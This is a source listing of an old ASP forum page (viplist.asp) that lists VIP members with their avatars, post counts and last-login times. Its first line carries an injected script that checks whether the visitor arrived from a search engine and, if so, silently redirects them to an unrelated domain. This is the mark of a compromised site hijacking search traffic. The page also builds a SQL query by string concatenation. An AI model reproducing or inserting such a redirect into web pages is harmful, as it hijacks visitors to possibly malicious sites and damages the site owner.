d:\wwwroot\wuchunhua\viplist.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!-- #include file="setup.asp" -->
002:
<%
003:
top
004:
dim admintime,counter
005:
dim mycont
006:
admintime=30 '定义日期
007:
set RS=conn.execute("select id,bbsname,moderated from bbsconfig order by id desc")
008:
maxbbs=int(RS("id"))
009:
dim Aname()
010:
dim Amoder()
011:
redim Preserve Aname(maxbbs)
012:
redim Preserve Amoder(maxbbs)
013:
do while not RS.eof
014:
Aname(RS("id"))=RS("bbsname")
015:
Amoder(RS("id"))=RS("moderated")
016:
RS.movenext
017:
loop
018:
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
019:
%
>
020:
<table border=0 width=97% align=center cellspacing=1 cellpadding=4 class=a2>
021:
<tr class=a3>
022:
<td height=25> <img src=images/Forum_nav.gif>
<%
ClubTree
%
> → VIP列表</td>
023:
</tr>
024:
</table><br>
025:
026:
<SCRIPT>valigntop()</SCRIPT>
027:
<table cellpadding="0" cellspacing="1" border="0" align="center" width=97% class=a2>
028:
<tr class=a1><td align=center height=25><b>
<%
=clubname
%
> <font color=red>VIP列表</font></B></td></tr></table>
029:
<table cellpadding="0" cellspacing="1" border="0" align="center" width=97% class=a2>
030:
<tr bgcolor=f8f8f8>
031:
<%
032:
sql="select * from [user] where membercode = 2 order by membercode Desc,landtime Desc"
033:
set rs=conn.execute(sql)
034:
plusAL=1
035:
adminlist
036:
%
>
037:
</tr></table>
038:
039:
<%
040:
Function adminlist
041:
i=1
042:
Do While Not RS.EOF
043:
upsent=datediff("d",rs("landtime"),Now)
044:
045:
046:
%
>
047:
<td width=50% class=a3>
048:
<table border="0" cellpadding="0" cellspacing="3" cellspacing="0" width=100% class=a3>
049:
<tr><td nowrap width=10>
050:
<%
051:
if Conn.Execute("Select username From [online] where username='"&rs("username")&"'").eof then
052:
response.Write("<img src=images/membercode/vip.gif title=现在离线>")
053:
else
054:
response.Write("<img src=images/membercode/vip.gif title=现在在线>")
055:
end if
056:
%
>
057:
</td>
058:
<td nowrap align=center width=30
%>
059:
<b><a href=Profile.asp?username=
<%
=rs("username")
%
>>
<%
=rs("username")
%
></a></b>
060:
<br>
061:
<img src=
<%
=rs("userface")
%
> border="0" width=90 height=90 onerror=this.src='images/face/noface.gif'>
062:
<br>
063:
<br>
064:
<a href=# onclick=javascript:open('friend.asp?menu=post&incept=
<%
=rs("username")
%
>','','width=320,height=170')><img src="images/pm.gif" border="0" alt="点击这里给
<%
=rs("username")
%
>发送一条短消息"></a></td>
065:
<td class=a4 nowrap width=70
%>
066:
发贴：<b>
<%
=rs("posttopic")
%
></b> 篇<br>
067:
回帖：<b>
<%
=rs("postrevert")
%
></b> 篇<br>
068:
魅力：<b><font color=red>+</font>
<%
=rs("magicpower")
%
></b><br>
069:
威望：<b><font color=red>+</font>
<%
=rs("power")
%
></b><br>
070:
头衔：<b>
<%
=rs("honor")
%
></b><br>
071:
上次登录：
<%
=rs("landtime")
%
> <br>
072:
<br>
073:
<br>
074:
<font face=Wingdings color=blue>v</font>
075:
<b><font color=#0080d5>
<%
=myvar
%
></font></b>
076:
<font face=Wingdings color=blue>v</font>
077:
</td></tr></table>
078:
</td>
079:
<%
080:
if i=2 then
081:
response.write"</tr>"
082:
i=1
083:
else
084:
i=i+1
085:
end if
086:
087:
RS.MoveNext
088:
loop
089:
RS.Close
090:
091:
if i=2 then
092:
response.write"<td width=50% class=a3 align=center valign=middle>『空缺中』</td></tr>"
093:
end if
094:
end Function
095:
set rs=nothing
096:
htmlend
097:
%
>
098:
099: